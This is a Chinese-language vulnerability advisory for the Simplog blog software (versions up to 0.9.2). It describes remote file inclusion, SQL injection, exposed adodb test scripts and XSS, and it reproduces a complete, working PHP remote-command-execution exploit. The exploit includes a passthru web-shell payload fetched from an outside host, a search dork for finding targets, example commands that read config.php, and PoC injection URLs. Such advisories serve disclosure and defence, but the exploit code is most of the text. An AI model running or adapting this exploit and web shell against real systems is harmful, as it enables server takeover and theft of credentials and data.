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Simplog多个输入验证漏洞 更新日期：2006-04-12 受影响系统： Simplog Simplog <=0.9.2描述： BUGTRAQ ID: 17491 Simplog是一款简单易用的Blog程序，用PHP编写，兼容很多数据库。 Simplog中存在多个安全漏洞，恶意用户可以利用这些漏洞收集系统信息、执行跨站脚本和SQL注入攻击、执行任意SQL代码或完全入侵系统。 1) 在包含文件前没有正确验证“doc/index.php”中的“s”参数，导致可以包含任意外部或本地资源的文件。 2) 在SQL查询中使用之前没有正确过滤对“index.php”中“blogid”参数以及“archive.php”中“blogid”、“m”和“y”参数的输入，导致可以通过注入任意SQL代码操控SQL查询。 3) 没有对“adodb/server.php”和“adodb/tests/tmssql.php”脚本执行安全的测试，导致可以执行任意SQL代码或调用任意PHP函数。 4) 在返回用户之前没有正确的过滤对“login.php”中“btag”参数的输入，导致可以在用户浏览器会话中以受影响站点的权限执行任意HTML和脚本代码。 <*来源：rgod （rgod@autistici.org）
Andreas Sandblad （sandblad@acc.umu.se）
链接：http://secunia.com/advisories/19628/print/
http://marc.theaimsgroup.com/?l=bugtraq&m=114485168800323&w=2
*> 测试方法： 警 告 以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！ #!/usr/bin/php -q -d short_open_tag=on
<?
echo "Simplog <= 0.9.2 \"s\" remote cmmnds xctn\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "dork: intext:\"Powered by simplog\"\r\n\r\n"; if ($argc<5) {
echo "Usage: php ".$argv[0]." host path location cmd OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to simplog\r\n";
echo "location: an arbitrary location with the code to include\r\n";
echo "cmd: a shell command\r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /simplog/ http://somehost.com ls -la\r\n";
echo "php ".$argv[0]." localhost /simplog/ http://somehost.com/subdir ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / http://somehost.com cat ./../config.php -P1.1.1.1:80\r\n\r\n";
echo "note, you need this code in http://somehost.com/suntzu.html:\r\n";
echo "<?php\r\n";
echo "if (get_magic_quotes_gpc()){\$_REQUEST[\"cmd\"]=stripslashes(\$_REQUEST[\"cmd\"]);}\r\n";
echo "ini_set(\"max_execution_time\",0);\r\n";
echo "echo \"*delim*\";\r\n";
echo "passthru(\$_REQUEST[\"cmd\"]);\r\n";
echo "echo \"*delim*\";\r\n";
echo "?>\r\n";
die;
} /*
software site: http://www.simplog.org/ description: "Simplog provides an easy way for users to add blogging capabilities
to their existing websites. Simplog is written in PHP and compatible with multiple
databases. Simplog also features an RSS/Atom aggregator/reader.
Powerful, yet simple......."
i) vulnerable code in doc/index.php at lines:
...
<?php
if(isset($_REQUEST['s'])) {
include($_REQUEST['s'].".html");
} ?>
... nice code, isn't it? :)
poc:
http://[target]/[path]/doc/index.php?cmd=ls%20-la&s=http://somehost.com/suntzu
(but you can submit arguments even trough cookies or POST data...) or:
http://[target]/[path]/doc/index.php?s=../../../../var/httpd/logs/error_log%00 ii)
http://[target]/[path]/index.php?blogid=[sql]
http://[target]/[path]/archive.php?blogid=[sql]
http://[target]/[path]/archive.php?m=[sql]
http://[target]/[path]/archive.php?y=[sql] iii)
http://[target]/[path]/adodb/server.php?sql=[sql]
http://[target]/[path]/adodb/tests/tmssql.php?do=phpinfo iv) xss:
ini_set("default_socket_timeout",5); function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
} $host=$argv[1];
$path=$argv[2];
$loc=$argv[3];
if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))
{die("Check the path, it must begin and end with a trailing slash\r\n");}
$port=80;
$proxy="";
$cmd="";
for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{
$cmd.=" ".$argv[$i];
}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;} $packet ="GET ".$p."doc/index.php HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: s=".$loc."%2fsuntzu; cmd=".$cmd.";\r\n"; //through cookies, log this :)
$packet.="Connection: Close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"*delim*"))
{$temp=explode("*delim*",$html);
echo "Exploit succeeded...\r\n\r\n";
echo $temp[1];
}
else
{
#debug
echo $html."\r\n";
echo "Exploit failed...";
}
?> 建议： 厂商补丁： Simplog
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.simplog.org/
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